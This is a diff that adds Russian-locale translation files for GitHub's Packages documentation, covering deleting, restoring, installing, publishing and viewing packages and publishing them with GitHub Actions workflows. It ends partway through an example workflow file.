permissions](#required-permissions-to-delete-or-restore-a-package)." + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.package_registry.packages-from-code-tab %} +{% data reusables.package_registry.package-settings-option %} +4. Under "Danger Zone", click **Delete this package**. +5. To confirm, review the confirmation message, enter your package name, and click **I understand, delete this package.** + ![Confirm package deletion button](/assets/images/help/package-registry/package-version-deletion-confirmation.png) + +{% ifversion fpt or ghec %} +### Deleting an entire user-scoped package on {% data variables.product.prodname_dotcom %} + +To review who can delete a package, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)." + +{% data reusables.package_registry.package-settings-from-user-level %} +{% data reusables.package_registry.package-settings-option %} +5. On the left, click **Options**. + !["Options" menu option](/assets/images/help/package-registry/options-for-container-settings.png) +6. Under "Danger zone", click **Delete this package**. + ![Delete package version button](/assets/images/help/package-registry/delete-container-package-button.png) +6. To confirm deletion, type the package name and click **I understand the consequences, delete this package**. + ![Confirm package version deletion button](/assets/images/help/package-registry/confirm-container-package-deletion.png) + +### Deleting an entire organization-scoped package on {% data variables.product.prodname_dotcom %} + +To review who can delete a package, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)." + +{% data reusables.package_registry.package-settings-from-org-level %} +{% data reusables.package_registry.package-settings-option %} +5. On the left, click **Options**. + !["Options" menu option](/assets/images/help/package-registry/options-for-container-settings.png) +6. Under "Danger zone", click **Delete this package**. + ![Delete package button](/assets/images/help/package-registry/delete-container-package-button.png) +6. To confirm deletion, type the package name and click **I understand the consequences, delete this package**. + ![Confirm package deletion button](/assets/images/help/package-registry/confirm-container-package-deletion.png) +{% endif %} + +## Restoring packages + +You can restore a deleted package or version if: +- You restore the package within 30 days of its deletion. +- The same package namespace and version is still available and not reused for a new package. + +For example, if you have a deleted RubyGems package named `octo-package` that was scoped to the repo `octo-repo-owner/octo-repo`, then you can only restore the package if the package namespace `rubygem.pkg.github.com/octo-repo-owner/octo-repo/octo-package` is still available, and 30 days have not yet passed. + +{% ifversion fpt or ghec %} +To restore a deleted package, you must also meet one of these permission requirements: + - For repository-scoped packages: You have admin permissions to the repository that owns the deleted package.{% ifversion fpt or ghec %} + - For user-account scoped packages: Your personal account owns the deleted package. + - For organization-scoped packages: You have admin permissions to the deleted package in the organization that owns the package.{% endif %} +{% endif %} + +{% ifversion ghae or ghes %} +To delete a package, you must also have admin permissions to the repository that owns the deleted package. +{% endif %} + +For more information, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)." + +Once the package is restored, the package will use the same namespace it did before. If the same package namespace is not available, you will not be able to restore your package. In this scenario, to restore the deleted package, you must delete the new package that uses the deleted package's namespace first. + +### Restoring a package in an organization + + You can restore a deleted package through your organization account settings, as long as the package was in a repository owned by the organizaton{% ifversion fpt or ghec %} or had granular permissions and was scoped to your organization account{% endif %}. + +To review who can restore a package in an organization, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)." + +{% data reusables.organizations.navigate-to-org %} +{% data reusables.organizations.org_settings %} +3. On the left, click **Packages**. +4. Under "Deleted Packages", next to the package you want to restore, click **Restore**. + ![Restore button](/assets/images/help/package-registry/restore-option-for-deleted-package-in-an-org.png) +5. To confirm, type the name of the package and click **I understand the consequences, restore this package**. + ![Restore package confirmation button](/assets/images/help/package-registry/type-package-name-and-restore-button.png) + +{% ifversion fpt or ghec %} + +### Restoring a user-account scoped package + +You can restore a deleted package through your personal account settings, if the package was in one of your repositories or scoped to your personal account. For more information, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)." + +{% data reusables.user-settings.access_settings %} +2. On the left, click **Packages**. +4. Under "Deleted Packages", next to the package you want to restore, click **Restore**. + ![Restore button](/assets/images/help/package-registry/restore-option-for-deleted-package-in-an-org.png) +5. To confirm, type the name of the package and click **I understand the consequences, restore this package**. + ![Restore package confirmation button](/assets/images/help/package-registry/type-package-name-and-restore-button.png) + +{% endif %} + +### Restoring a package version + +You can restore a package version from your package's landing page. To review who can restore a package, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)." + +1. Navigate to your package's landing page. +2. On the right, click **Package settings**. +2. On the left, click **Manage versions**. +3. On the top right, use the "Versions" drop-down menu and select **Deleted**. + ![Versions drop-down menu showing the deleted option](/assets/images/help/package-registry/versions-drop-down-menu.png) +4. Next to the deleted package version you want to restore, click **Restore**. + ![Restore option next to a deleted package version](/assets/images/help/package-registry/restore-package-version.png) +5. To confirm, click **I understand the consequences, restore this version.** + ![Confirm package version restoration](/assets/images/help/package-registry/confirm-package-version-restoration.png) diff --git a/translations/ru-RU/content/packages/learn-github-packages/index.md b/translations/ru-RU/content/packages/learn-github-packages/index.md new file mode 100644 index 000000000000..2dcf00bab21a --- /dev/null +++ b/translations/ru-RU/content/packages/learn-github-packages/index.md @@ -0,0 +1,32 @@ +--- +title: Изучение GitHub Packages +shortTitle: Learn GitHub Packages +intro: 'Дополнительные сведения об использовании пакетов в GitHub, в том числе о публикации новых пакетов в {% data variables.product.prodname_registry %}, о просмотре и установке существующих пакетов, а также (для особых случаев) об удалении существующих пакетов.' +redirect_from: + - /packages/getting-started-with-github-container-registry + - /github/managing-packages-with-github-packages/publishing-and-managing-packages + - /github/packages/publishing-and-managing-packages + - /packages/publishing-and-managing-packages + - /packages/manage-packages +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +children: + - /introduction-to-github-packages + - /about-permissions-for-github-packages + - /configuring-a-packages-access-control-and-visibility + - /connecting-a-repository-to-a-package + - /publishing-a-package + - /viewing-packages + - /installing-a-package + - /deleting-and-restoring-a-package +ms.openlocfilehash: b8601079ea8f62b98f4fd2d42ccb29c7a91a9d52 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145140526' +--- +{% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} diff --git a/translations/ru-RU/content/packages/learn-github-packages/installing-a-package.md b/translations/ru-RU/content/packages/learn-github-packages/installing-a-package.md new file mode 100644 index 000000000000..da7cd8260f13 --- /dev/null +++ b/translations/ru-RU/content/packages/learn-github-packages/installing-a-package.md @@ -0,0 +1,33 @@ +--- +title: Installing a package +intro: 'You can install a package from {% data variables.product.prodname_registry %} and use the package as a dependency in your own project.' +product: '{% data reusables.gated-features.packages %}' +redirect_from: + - /github/managing-packages-with-github-packages/installing-a-package + - /packages/publishing-and-managing-packages/installing-a-package + - /packages/manage-packages/installing-a-package +permissions: You can install any package that you have permission to view. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +--- + +{% data reusables.package_registry.packages-ghes-release-stage %} +{% data reusables.package_registry.packages-ghae-release-stage %} + +## About package installation + +You can search on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} to find packages in {% data variables.product.prodname_registry %} that you can install in your own project. For more information, see "[Searching {% data variables.product.prodname_registry %} for packages](/search-github/searching-on-github/searching-for-packages)." + +After you find a package, you can read the package's description and installation and usage instructions on the package page. + +## Installing a package + +You can install a package from {% data variables.product.prodname_registry %} using any {% ifversion fpt or ghae or ghec %}supported package client{% else %}package type enabled for your instance{% endif %} by following the same general guidelines. + +1. Authenticate to {% data variables.product.prodname_registry %} using the instructions for your package client. For more information, see "[Authenticating to GitHub Packages](/packages/learn-github-packages/introduction-to-github-packages#authenticating-to-github-packages)." +2. Install the package using the instructions for your package client. + +For instructions specific to your package client, see "[Working with a {% data variables.product.prodname_registry %} registry](/packages/working-with-a-github-packages-registry)." diff --git a/translations/ru-RU/content/packages/learn-github-packages/introduction-to-github-packages.md b/translations/ru-RU/content/packages/learn-github-packages/introduction-to-github-packages.md new file mode 100644 index 000000000000..4537c6fe1de9 --- /dev/null +++ b/translations/ru-RU/content/packages/learn-github-packages/introduction-to-github-packages.md @@ -0,0 +1,137 @@ +--- +title: Introduction to GitHub Packages +intro: '{% data variables.product.prodname_registry %} is a software package hosting service that allows you to host your software packages privately {% ifversion ghae %} for specified users or internally for your enterprise{% else %}or publicly{% endif %} and use packages as dependencies in your projects.' +product: '{% data reusables.gated-features.packages %}' +redirect_from: + - /articles/about-github-package-registry + - /github/managing-packages-with-github-package-registry/about-github-package-registry + - /github/managing-packages-with-github-packages/about-github-packages + - /packages/publishing-and-managing-packages/about-github-packages + - /packages/learn-github-packages/about-github-packages + - /packages/learn-github-packages/core-concepts-for-github-packages + - /packages/guides/about-github-container-registry +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Introduction +--- + +{% data reusables.package_registry.packages-ghes-release-stage %} +{% data reusables.package_registry.packages-ghae-release-stage %} + +## About {% data variables.product.prodname_registry %} + +{% data variables.product.prodname_registry %} is a platform for hosting and managing packages, including containers and other dependencies. {% data variables.product.prodname_registry %} combines your source code and packages in one place to provide integrated permissions management{% ifversion fpt or ghec %} and billing{% endif %}, so you can centralize your software development on {% data variables.product.product_name %}. + +You can integrate {% data variables.product.prodname_registry %} with {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} APIs, {% data variables.product.prodname_actions %}, and webhooks to create an end-to-end DevOps workflow that includes your code, CI, and deployment solutions. + +{% data variables.product.prodname_registry %} offers different package registries for commonly used package managers, such as npm, RubyGems, Apache Maven, Gradle, Docker, and NuGet. {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}'s {% data variables.product.prodname_container_registry %} is optimized for containers and supports Docker and OCI images.{% endif %} For more information on the different package registries that {% data variables.product.prodname_registry %} supports, see "[Working with a {% data variables.product.prodname_registry %} registry](/packages/working-with-a-github-packages-registry)." + +{% ifversion fpt or ghec %} + +![Diagram showing packages support for the Container registry, RubyGems, npm, Apache Maven, NuGet, and Gradle](/assets/images/help/package-registry/packages-diagram-with-container-registry.png) + +{% else %} + +![Diagram showing packages support for the Docker registry, RubyGems, npm, Apache Maven, Gradle, NuGet, and Docker](/assets/images/help/package-registry/packages-diagram-without-container-registry.png) + +{% endif %} + +You can view a package's README, as well as metadata such as licensing, download statistics, version history, and more on {% data variables.product.product_name %}. For more information, see "[Viewing packages](/packages/manage-packages/viewing-packages)." + +{% ifversion ghes %} + +For more information about the configuration of {% data variables.product.prodname_registry %} on {% data variables.product.product_name %}, see "[Getting started with {% data variables.product.prodname_registry %} for your enterprise](/admin/packages/getting-started-with-github-packages-for-your-enterprise)." + +{% endif %} + +### Overview of package permissions and visibility + +| | | +|--------------------|--------------------| +| Permissions | {% ifversion fpt or ghec %}The permissions for a package are either inherited from the repository where the package is hosted or, for packages in the {% data variables.packages.prodname_ghcr_and_npm_registry %}, they can be defined for specific user or organization accounts. For more information, see "[Configuring a package’s access control and visibility](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)." {% else %}Each package inherits the permissions of the repository where the package is hosted. <br> <br> For example, anyone with read permissions for a repository can install a package as a dependency in a project, and anyone with write permissions can publish a new package version.{% endif %} | +| Visibility | {% data reusables.package_registry.public-or-private-packages %} | + +For more information, see "[About permissions for {% data variables.product.prodname_registry %}](/packages/learn-github-packages/about-permissions-for-github-packages)." + +{% ifversion fpt or ghec %} +## About billing for {% data variables.product.prodname_registry %} + +{% data reusables.package_registry.packages-billing %} {% data reusables.package_registry.packages-spending-limit-brief %} For more information, see "[About billing for {% data variables.product.prodname_registry %}](/billing/managing-billing-for-github-packages/about-billing-for-github-packages)." + +{% endif %} + +## Supported clients and formats +<!-- If you make changes to this feature, check whether any of the changes affect languages listed in /get-started/learning-about-github/github-language-support. If so, please update the language support article accordingly. --> + +{% data variables.product.prodname_registry %} uses the native package tooling commands you're already familiar with to publish and install package versions. +### Support for package registries + +| Language | Description | Package format | Package client | +| --- | --- | --- | --- | +| JavaScript | Node package manager | `package.json` | `npm` | +| Ruby | RubyGems package manager | `Gemfile` | `gem` | +| Java | Apache Maven project management and comprehension tool | `pom.xml` | `mvn` | +| Java | Gradle build automation tool for Java | `build.gradle` or `build.gradle.kts` | `gradle` | +| .NET | NuGet package management for .NET | `nupkg` | `dotnet` CLI | +| N/A | Docker container management | `Dockerfile` | `Docker` | + +{% ifversion ghes %} +{% note %} + +**Note:** When enabling the Docker registry, we highly recommend also enabling subdomain isolation. For more information, see "[Enabling subdomain isolation](/admin/configuration/configuring-network-settings/enabling-subdomain-isolation)." + +{% endnote %} + +{% endif %} + +For more information about configuring your package client for use with {% data variables.product.prodname_registry %}, see "[Working with a {% data variables.product.prodname_registry %} registry](/packages/working-with-a-github-packages-registry)." + +{% ifversion fpt or ghec %} +For more information about Docker and the {% data variables.product.prodname_container_registry %}, see "[Working with the Container registry](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)." +{% endif %} +## Authenticating to {% data variables.product.prodname_registry %} + +{% data reusables.package_registry.authenticate-packages %} + +{% data reusables.package_registry.authenticate-packages-github-token %} + +## Managing packages + +{% ifversion fpt or ghec %} +You can delete a package in the {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} user interface or using the REST API. For more information, see "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)" and the "[{% data variables.product.prodname_registry %} API](/rest/reference/packages)." + +{% data reusables.package_registry.no-graphql-to-delete-packages %} +{% endif %} + +{% ifversion ghes %} +You can delete a private or public package in the {% data variables.product.product_name %} user interface. Or for repo-scoped packages, you can delete a version of a private package using GraphQL. +{% endif %} + +{% ifversion ghae %} +You can delete a version of a package in the {% data variables.product.product_name %} user interface or using the GraphQL API. +{% endif %} + +When you use the GraphQL API to query and delete private packages, you must use the same {% data variables.product.pat_v1 %} you use to authenticate to {% data variables.product.prodname_registry %}. + +For more information, see {% ifversion ghes or ghae %}"[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)" and {% endif %}"[Forming calls with GraphQL](/graphql/guides/forming-calls-with-graphql)." + +You can configure webhooks to subscribe to package-related events, such as when a package is published or updated. For more information, see the "[`package` webhook event](/webhooks/event-payloads/#package)." + +## Contacting support + +{% ifversion fpt or ghec %} +If you have feedback or feature requests for {% data variables.product.prodname_registry %}, use a [{% data variables.product.prodname_github_community %} discussion](https://github.com/orgs/community/discussions/categories/actions-and-packages). + +Contact {% data variables.contact.github_support %} about {% data variables.product.prodname_registry %} using [our contact form](https://support.github.com/contact?form%5Bsubject%5D=Re:%20GitHub%20Packages) if: + +* You experience anything that contradicts the documentation +* You encounter vague or unclear errors +* Your published package contains sensitive data, such as GDPR violations, API Keys, or personally identifying information + +{% else %} +If you need support for {% data variables.product.prodname_registry %}, please contact your site administrators. + +{% endif %} diff --git a/translations/ru-RU/content/packages/learn-github-packages/publishing-a-package.md b/translations/ru-RU/content/packages/learn-github-packages/publishing-a-package.md new file mode 100644 index 000000000000..57496eecf2ff --- /dev/null +++ b/translations/ru-RU/content/packages/learn-github-packages/publishing-a-package.md @@ -0,0 +1,41 @@ +--- +title: Publishing a package +intro: 'You can publish a package to {% data variables.product.prodname_registry %} to make the package available for others to download and re-use.' +product: '{% data reusables.gated-features.packages %}' +redirect_from: + - /github/managing-packages-with-github-packages/publishing-a-package + - /packages/publishing-and-managing-packages/publishing-a-package +permissions: Anyone with write permissions for a repository can publish a package to that repository. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +--- + +{% data reusables.package_registry.packages-ghes-release-stage %} +{% data reusables.package_registry.packages-ghae-release-stage %} + +## About published packages + +You can help people understand and use your package by providing a description and other details like installation and usage instructions on the package page. {% data variables.product.product_name %} provides metadata for each version, such as the publication date, download activity, and recent versions. For an example package page, see [@Codertocat/hello-world-npm](https://github.com/Codertocat/hello-world-npm/packages/10696?version=1.0.1). + +{% data reusables.package_registry.public-or-private-packages %} A repository can be connected to more than one package. To prevent confusion, make sure the README and description clearly provide information about each package. + +{% ifversion fpt or ghec %} +If a new version of a package fixes a security vulnerability, you should publish a security advisory in your repository. {% data variables.product.prodname_dotcom %} reviews each published security advisory and may use it to send {% data variables.product.prodname_dependabot_alerts %} to affected repositories. For more information, see "[About GitHub Security Advisories](/github/managing-security-vulnerabilities/about-github-security-advisories)." +{% endif %} + +## Publishing a package + +{% data reusables.package_registry.packages-classic-pat-only %} + +You can publish a package to {% data variables.product.prodname_registry %} using any {% ifversion fpt or ghae or ghec %}supported package client{% else %}package type enabled for your instance{% endif %} by following the same general guidelines. + +1. Create or use an existing {% data variables.product.pat_v1 %} with the appropriate scopes for the task you want to accomplish. For more information, see "[About permissions for {% data variables.product.prodname_registry %}](/packages/learn-github-packages/about-permissions-for-github-packages)." +2. Authenticate to {% data variables.product.prodname_registry %} using your {% data variables.product.pat_v1 %} and the instructions for your package client. +3. Publish the package using the instructions for your package client. + +For instructions specific to your package client, see "[Working with a GitHub Packages registry](/packages/working-with-a-github-packages-registry)." + +After you publish a package, you can view the package on {% data variables.product.prodname_dotcom %}. For more information, see "[Viewing packages](/packages/learn-github-packages/viewing-packages)." diff --git a/translations/ru-RU/content/packages/learn-github-packages/viewing-packages.md b/translations/ru-RU/content/packages/learn-github-packages/viewing-packages.md new file mode 100644 index 000000000000..3c239df022f6 --- /dev/null +++ b/translations/ru-RU/content/packages/learn-github-packages/viewing-packages.md @@ -0,0 +1,69 @@ +--- +title: Viewing packages +intro: 'You can see details about packages published to a repository, and narrow results by organization or user.' +product: '{% data reusables.gated-features.packages %}' +redirect_from: + - /articles/viewing-a-repositorys-packages + - /github/managing-packages-with-github-packages/publishing-and-managing-packages/viewing-a-repositorys-packages + - /github/managing-packages-with-github-packages/viewing-packages + - /packages/publishing-and-managing-packages/viewing-packages + - /packages/manage-packages/viewing-packages +permissions: You must have at least read permissions to view a package. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +--- + +{% data reusables.package_registry.packages-ghes-release-stage %} +{% data reusables.package_registry.packages-ghae-release-stage %} + +## About package views + +Your ability to view a package depends on several factors. By default, you can view all packages you have published. + +Repository-scoped packages inherit their permissions and visibility from the repository that owns the package. The registries below **only** use this type of permissions:{% ifversion not fpt or ghec %} +- Docker registry (`docker.pkg.github.com`){% endif %} +{% ifversion packages-npm-v2 %}{% else %}- npm registry{% endif %} +- RubyGems registry +- Apache Maven registry +- NuGet registry + +{% ifversion fpt or ghec %} +The {% data variables.packages.prodname_ghcr_and_npm_registry %} offer you the option of granular permissions and visibility settings that can be customized for each package owned by a personal user or organization account. You can choose to use granular permissions or connect the package to a repository and inherit it's permissions. For more information, see "[Connecting a repository to a package](/packages/learn-github-packages/connecting-a-repository-to-a-package)." +{% endif %} + +For more information, see "[About permissions for GitHub Packages](/packages/learn-github-packages/about-permissions-for-github-packages){% ifversion fpt or ghec %}" and "[Configuring a package's access control and visibility](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility){% endif %}." + +{% data reusables.package_registry.package-page-info %} + +## Viewing a repository's packages + +You can find and view a package located in a particular repository. + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.package_registry.packages-from-code-tab %} +{% data reusables.package_registry.navigate-to-packages %} + +## Viewing an organization's packages + +You can find and view a package located in the repositories of an organization you belong to. + +{% data reusables.profile.access_org %} +{% data reusables.user-settings.access_org %} +3. Under your organization name, click {% octicon "package" aria-label="The package icon" %} **Packages**. +{% data reusables.package_registry.navigate-to-packages %} + +## Viewing your packages + +You can find and view any package you've published across all organizations and repositories. + +{% data reusables.profile.access_profile %} +2. On the top of the profile page, in the main navigation, click **Packages**. + ![Project tab](/assets/images/help/package-registry/user-packages-tab.png) +{% data reusables.package_registry.navigate-to-packages %} + +## Further reading + +- "[Searching for packages](/search-github/searching-on-github/searching-for-packages)" diff --git a/translations/ru-RU/content/packages/managing-github-packages-using-github-actions-workflows/about-github-packages-and-github-actions.md b/translations/ru-RU/content/packages/managing-github-packages-using-github-actions-workflows/about-github-packages-and-github-actions.md new file mode 100644 index 000000000000..2309cac0560a --- /dev/null +++ b/translations/ru-RU/content/packages/managing-github-packages-using-github-actions-workflows/about-github-packages-and-github-actions.md @@ -0,0 +1,19 @@ +--- +title: Сведения о GitHub Packages и GitHub Actions +intro: 'Изучите основные принципы управления пакетами с помощью рабочих процессов {% data variables.product.prodname_actions %}.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Packages & Actions +ms.openlocfilehash: 59ac0773917d9abd9e046ca27b0b9469b17511b8 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145140505' +--- +{% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} + +{% data reusables.package_registry.about-packaging-and-actions %} diff --git a/translations/ru-RU/content/packages/managing-github-packages-using-github-actions-workflows/example-workflows-for-publishing-a-package.md b/translations/ru-RU/content/packages/managing-github-packages-using-github-actions-workflows/example-workflows-for-publishing-a-package.md new file mode 100644 index 000000000000..2a2f3eb0375a --- /dev/null +++ b/translations/ru-RU/content/packages/managing-github-packages-using-github-actions-workflows/example-workflows-for-publishing-a-package.md @@ -0,0 +1,24 @@ +--- +title: Примеры рабочих процессов для публикации пакета +intro: 'Чтобы вам было проще применять собственные рабочие процессы, изучите примеры рабочих процессов для пакетов публикации.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Example workflows +ms.openlocfilehash: 7fea4fc0be69505843fb0857338fc7f6d6be555e +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145140494' +--- +{% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} + +Примеры рабочих процессов можно найти в разделе [Публикация и установка пакета с {% data variables.product.prodname_actions %}](/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions) или в любом из этих руководств по {% data variables.product.prodname_actions %}: + + - [Публикация пакетов Node.js](/actions/guides/publishing-nodejs-packages) + - [Публикация образов Docker](/actions/guides/publishing-docker-images) + - [Публикация пакетов Java с помощью Maven](/actions/guides/publishing-java-packages-with-maven) + - [Публикация пакетов Java с помощью Gradle](/actions/guides/publishing-java-packages-with-gradle) diff --git a/translations/ru-RU/content/packages/managing-github-packages-using-github-actions-workflows/index.md b/translations/ru-RU/content/packages/managing-github-packages-using-github-actions-workflows/index.md new file mode 100644 index 000000000000..a1afb38bf339 --- /dev/null +++ b/translations/ru-RU/content/packages/managing-github-packages-using-github-actions-workflows/index.md @@ -0,0 +1,21 @@ +--- +title: Управление пакетами GitHub с помощью рабочих процессов GitHub Actions +shortTitle: Managing GitHub packages with workflows +intro: 'Вы можете безопасно публиковать и использовать пакеты, создавая пользовательские рабочие процессы, которые также могут создавать, тестировать и развертывать ваш код.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +children: + - /publishing-and-installing-a-package-with-github-actions + - /example-workflows-for-publishing-a-package + - /about-github-packages-and-github-actions +ms.openlocfilehash: ba93b15b2fc3290d39b0623dcf906e2c3a2715a3 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145140489' +--- +{% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} diff --git a/translations/ru-RU/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md b/translations/ru-RU/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md new file mode 100644 index 000000000000..a4dbfcc69ac9 --- /dev/null +++ b/translations/ru-RU/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md @@ -0,0 +1,568 @@ +--- +title: Publishing and installing a package with GitHub Actions +intro: 'You can configure a workflow in {% data variables.product.prodname_actions %} to automatically publish or install a package from {% data variables.product.prodname_registry %}.' +product: '{% data reusables.gated-features.packages %}' +redirect_from: + - /github/managing-packages-with-github-packages/using-github-packages-with-github-actions + - /packages/using-github-packages-with-your-projects-ecosystem/using-github-packages-with-github-actions + - /packages/guides/using-github-packages-with-github-actions +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Publish & install with Actions +--- + +{% data reusables.package_registry.packages-ghes-release-stage %} +{% data reusables.package_registry.packages-ghae-release-stage %} + +## About {% data variables.product.prodname_registry %} with {% data variables.product.prodname_actions %} + +{% data reusables.repositories.about-github-actions %} {% data reusables.repositories.actions-ci-cd %} For more information, see "[About {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/about-github-actions)." + +You can extend the CI and CD capabilities of your repository by publishing or installing packages as part of your workflow. + +{% ifversion fpt or ghec %} +### Authenticating to the {% data variables.packages.prodname_ghcr_and_npm_registry %} + +{% data reusables.package_registry.authenticate_with_pat_for_v2_registry %} + +{% endif %} + +### Authenticating to package registries on {% data variables.product.prodname_dotcom %} + +{% ifversion fpt or ghec %}If you want your workflow to authenticate to {% data variables.product.prodname_registry %} to access a package registry other than the {% data variables.product.prodname_container_registry %} on {% data variables.location.product_location %}, then{% else %}To authenticate to package registries on {% data variables.product.product_name %},{% endif %} we recommend using the `GITHUB_TOKEN` that {% data variables.product.product_name %} automatically creates for your repository when you enable {% data variables.product.prodname_actions %} instead of a {% data variables.product.pat_generic %} for authentication. You should set the permissions for this access token in the workflow file to grant read access for the `contents` scope and write access for the `packages` scope. For forks, the `GITHUB_TOKEN` is granted read access for the parent repository. For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)." + +You can reference the `GITHUB_TOKEN` in your workflow file using the {% raw %}`{{secrets.GITHUB_TOKEN}}`{% endraw %} context. For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token)." + +## About permissions and package access for repository-owned packages + +{% note %} + +**Note:** Some registries, such as RubyGems, {% ifversion packages-npm-v2 %}{% else %}npm, {% endif %}Apache Maven, NuGet, {% ifversion fpt or ghec %}and Gradle{% else %}Gradle, and Docker packages that use the package namespace `docker.pkg.github.com`{% endif %}, only allow repository-owned packages. With {% data variables.packages.prodname_ghcr_and_npm_registry_full %} you can choose to allow packages to be owned by a user, an organization, or linked to a repository. + +{% endnote %} + +When you enable GitHub Actions, GitHub installs a GitHub App on your repository. The `GITHUB_TOKEN` secret is a GitHub App installation access token. You can use the installation access token to authenticate on behalf of the GitHub App installed on your repository. The token's permissions are limited to the repository that contains your workflow. For more information, see "[Permissions for the GITHUB_TOKEN](/actions/reference/authentication-in-a-workflow#about-the-github_token-secret)." + +{% data variables.product.prodname_registry %} allows you to push and pull packages through the `GITHUB_TOKEN` available to a {% data variables.product.prodname_actions %} workflow. + +{% ifversion fpt or ghec %} +## About permissions and package access for {% data variables.packages.prodname_ghcr_and_npm_registry %} + +The {% data variables.packages.prodname_ghcr_and_npm_registry_full %} allows users to create and administer packages as free-standing resources at the organization level. Packages can be owned by an organization or personal account and you can customize access to each of your packages separately from repository permissions. + +All workflows accessing the {% data variables.packages.prodname_ghcr_and_npm_registry %} should use the `GITHUB_TOKEN` instead of a {% data variables.product.pat_generic %}. For more information about security best practices, see "[Security hardening for GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#using-secrets)." + +## Default permissions and access settings for containers modified through workflows + +When you create, install, modify, or delete a container through a workflow, there are some default permission and access settings used to ensure admins have access to the workflow. You can adjust these access settings as well. + +For example, by default if a workflow creates a container using the `GITHUB_TOKEN`, then: +- The container inherits the visibility and permissions model of the repository where the workflow is run. +- Repository admins where the workflow is run become the admins of the container once the container is created. + +These are more examples of how default permissions work for workflows that manage packages. + +| {% data variables.product.prodname_actions %} workflow task | Default permissions and access | +|----|----| +| Download an existing container | - If the container is public, any workflow running in any repository can download the container. <br> - If the container is internal, then all workflows running in any repository owned by the Enterprise account can download the container. For enterprise-owned organizations, you can read any repository in the enterprise <br> - If the container is private, only workflows running in repositories that are given read permission on that container can download the container. <br> +| Upload a new version to an existing container | - If the container is private, internal, or public, only workflows running in repositories that are given write permission on that container can upload new versions to the container. +| Delete a container or versions of a container | - If the container is private, internal, or public, only workflows running in repositories that are given delete permission can delete existing versions of the container. + +You can also adjust access to containers in a more granular way or adjust some of the default permissions behavior. For more information, see "[Configuring a package’s access control and visibility](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)." + +{% endif %} + +## Publishing a package using an action + +You can use {% data variables.product.prodname_actions %} to automatically publish packages as part of your continuous integration (CI) flow. This approach to continuous deployment (CD) allows you to automate the creation of new package versions, if the code meets your quality standards. For example, you could create a workflow that runs CI tests every time a developer pushes code to a particular branch. If the tests pass, the workflow can publish a new package version to {% data variables.product.prodname_registry %}. + +{% data reusables.package_registry.actions-configuration %} + +The following example demonstrates how you can use {% data variables.product.prodname_actions %} to build {% ifversion not fpt or ghec %}and test{% endif %} your app, and then automatically create a Docker image and publish it to {% data variables.product.prodname_registry %}. + +Create a new workflow file in your repository (such as `.github/workflows/deploy-image.yml`), and add the following YAML: + +{% ifversion fpt or ghec %} +{% data reusables.package_registry.publish-docker-image %} + +{% else %} + +```yaml{:copy} +{% data reusables.actions.actions-not-certified-by-github-comment %} + +{% data reusables.actions.actions-use-sha-pinning-comment %} + +name: Create and publish a Docker image + +on: + push: + branches: ['release'] + +jobs: + run-npm-build: + runs-on: ubuntu-latest + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: npm install and build webpack + run: | + npm install + npm run build + - uses: {% data reusables.actions.action-upload-artifact %} + 